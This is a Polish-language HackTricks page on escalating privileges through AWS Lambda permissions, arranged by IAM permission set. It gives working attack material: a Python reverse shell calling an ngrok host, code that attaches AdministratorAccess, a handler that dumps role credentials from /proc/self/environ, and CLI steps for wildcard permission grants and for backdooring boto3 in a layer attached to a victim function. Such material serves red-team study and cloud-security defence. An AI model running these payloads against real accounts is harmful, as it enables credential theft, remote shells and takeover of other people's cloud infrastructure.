AWS - Lambda Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

lambda

Więcej informacji na temat lambdy znajdziesz w:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Użytkownicy posiadający uprawnienia iam:PassRole, lambda:CreateFunction oraz lambda:InvokeFunction mogą eskalować swoje uprawnienia. Mogą utworzyć nową funkcję Lambdy i przypisać jej istniejącą rolę IAM, nadając funkcji uprawnienia z nią związane. Następnie użytkownik może napisać i przesłać kod do tej funkcji Lambdy (na przykład z odwróconym powłokiem). Gdy funkcja jest skonfigurowana, użytkownik może wywołać jej wykonanie i zamierzone działania, wywołując funkcję Lambdy za pośrednictwem interfejsu API AWS. Ten sposób efektywnie pozwala użytkownikowi wykonywać zadania pośrednio za pośrednictwem funkcji Lambdy, działając na poziomie dostępu przyznanego roli IAM z nią związanego.\

Atakujący mógłby wykorzystać to do uzyskania odwróconej powłoki i kradzieży tokena:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Możesz również wykorzystać uprawnienia roli lambdy bezpośrednio z funkcji lambdy. Jeśli rola lambdy miała wystarczające uprawnienia, możesz ich użyć do przyznania sobie uprawnień administratora:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Możliwe jest również ujawnienie poświadczeń roli lambdy bez konieczności zewnętrznego połączenia. Byłoby to przydatne dla Lambd izolowanych sieciowo używanych do zadań wewnętrznych. Jeśli nieznane grupy zabezpieczeń filtrowałyby odwrócone powłoki, ten fragment kodu pozwoli Ci bezpośrednio ujawnić poświadczenia jako wynik lambdy.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do określonej roli usługi lambda.

Należy zauważyć, że nawet jeśli może to wydawać się interesujące lambda:InvokeAsync, to nie pozwala samodzielnie wykonać aws lambda invoke-async, potrzebujesz również lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Podobnie jak w poprzednim scenariuszu, możesz przyznać sobie uprawnienie lambda:InvokeFunction, jeśli masz uprawnienie lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do określonej roli usługi lambda.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Użytkownicy posiadający uprawnienia iam:PassRole, lambda:CreateFunction oraz lambda:CreateEventSourceMapping (i potencjalnie dynamodb:PutItem oraz dynamodb:CreateTable) mogą pośrednio podnieść uprawnienia nawet bez lambda:InvokeFunction. Mogą utworzyć funkcję Lambda z złośliwym kodem i przypisać jej istniejącą rolę IAM.

Zamiast bezpośredniego wywoływania funkcji Lambda, użytkownik konfiguruje lub wykorzystuje istniejącą tabelę DynamoDB, łącząc ją z Lambdą poprzez mapowanie źródła zdarzeń. Ta konfiguracja zapewnia, że funkcja Lambda zostanie automatycznie uruchomiona po dodaniu nowego elementu do tabeli, zarówno w wyniku działania użytkownika, jak i innego procesu, co pośrednio wywołuje funkcję Lambda i wykonuje kod z uprawnieniami przekazanej roli IAM.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Jeśli DynamoDB jest już aktywny w środowisku AWS, użytkownik musi jedynie ustanowić mapowanie źródła zdarzeń dla funkcji Lambda. Jednak jeśli DynamoDB nie jest używany, użytkownik musi utworzyć nową tabelę z włączonym strumieniowaniem:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Teraz jest możliwe połączenie funkcji Lambda z tabelą DynamoDB poprzez utworzenie mapowania źródła zdarzeń:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Z funkcją Lambda połączoną ze strumieniem DynamoDB, atakujący może pośrednio uruchomić funkcję Lambda aktywując strumień DynamoDB. Można to osiągnąć poprzez wstawienie elementu do tabeli DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli usługi lambda określonej.

lambda:AddPermission

Atakujący posiadający te uprawnienia może przyznać sobie (lub innym) dowolne uprawnienia (co generuje polityki oparte na zasobach w celu przyznania dostępu do zasobu):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli usługi lambda poprzez udzielenie uprawnień do modyfikacji kodu i jego uruchamiania.

lambda:AddLayerVersionPermission

Atakujący posiadający te uprawnienia może udzielić sobie (lub innym) uprawnienia lambda:GetLayerVersion. Może uzyskać dostęp do warstwy i wyszukiwać podatności lub poufne informacje.

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potencjalne skutki: Potencjalny dostęp do poufnych informacji.

lambda:UpdateFunctionCode

Użytkownicy posiadający uprawnienie lambda:UpdateFunctionCode mają potencjał do modyfikowania kodu istniejącej funkcji Lambda powiązanej z rolą IAM. Atakujący może zmodyfikować kod lambdy w celu wycieku poświadczeń IAM.

Mimo że atakujący może nie mieć bezpośredniej możliwości wywołania funkcji, jeśli funkcja Lambda istnieje i jest operacyjna, jest prawdopodobne, że zostanie uruchomiona poprzez istniejące przepływy pracy lub zdarzenia, ułatwiając tym samym pośrednio wykonanie zmodyfikowanego kodu.

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli usługi lambda używanej.

lambda:UpdateFunctionConfiguration

Wprowadzenie

Warstwy Lambda pozwalają na dołączenie kodu do funkcji lambda, ale przechowywanie go osobno, dzięki czemu kod funkcji może pozostać niewielki, a kilka funkcji może współdzielić kod.

Wewnątrz lambdy można sprawdzić ścieżki, z których jest ładowany kod Python za pomocą funkcji takiej jak poniższa:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

Oto miejsca:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

Na przykład, biblioteka boto3 jest ładowana z /var/runtime/boto3 (4. pozycja).

Wykorzystanie

Możliwe jest nadużycie uprawnienia lambda:UpdateFunctionConfiguration do dodania nowej warstwy do funkcji lambdy. Aby wykonać dowolny kod, ta warstwa musi zawierać bibliotekę, którą lambda ma zaimportować. Jeśli możesz odczytać kod lambdy, możesz to łatwo znaleźć, zauważ także, że możliwe jest, że lambda już używa warstwy i możesz pobrać warstwę i dodać swój kod tam.

Na przykład, załóżmy, że lambda używa biblioteki boto3, to spowoduje utworzenie lokalnej warstwy z najnowszą wersją biblioteki:

pip3 install -t ./lambda_layer boto3

Możesz otworzyć ./lambda_layer/boto3/__init__.py i dodać backdoor w kodzie globalnym (na przykład funkcję do eksfiltracji poświadczeń lub uzyskania odwrotnego powłoki).

Następnie spakuj ten katalog ./lambda_layer i załaduj nową warstwę lambdy do swojego konta (lub do ofiary, ale możesz nie mieć uprawnień do tego). Zauważ, że musisz utworzyć folder python i umieścić w nim biblioteki, aby zastąpić /opt/python/boto3. Ponadto warstwa musi być kompatybilna z wersją pythona używaną przez lambdę, a jeśli ją przesłasz do swojego konta, musi być w tym samym regionie:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Teraz spraw, aby przesłana warstwa lambda była dostępna dla dowolnego konta:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

I dołącz warstwę lambda do funkcji lambda ofiary:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Następnym krokiem będzie albo wywołanie funkcji samodzielnie, jeśli jest to możliwe, albo oczekiwanie, aż zostanie wywołana w normalny sposób - co jest bezpieczniejszą metodą.

Bardziej skrytym sposobem wykorzystania tej podatności można znaleźć w:

pageAWS - Lambda Layers Persistence

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do roli usługi lambda używanej.

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Może być możliwe utworzenie funkcji i jej wykonanie, wywołując URL... ale nie mogłem znaleźć sposobu, aby to przetestować, więc daj mi znać, jeśli uda Ci się to zrobić!

Lambda MitM

Niektóre lambdy będą otrzymywać wrażliwe informacje od użytkowników w parametrach. Jeśli uzyskasz RCE w jednej z nich, możesz wyciekać informacje, które inni użytkownicy wysyłają do niej, sprawdź to w:

pageAWS - Steal Lambda Requests

Referencje

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated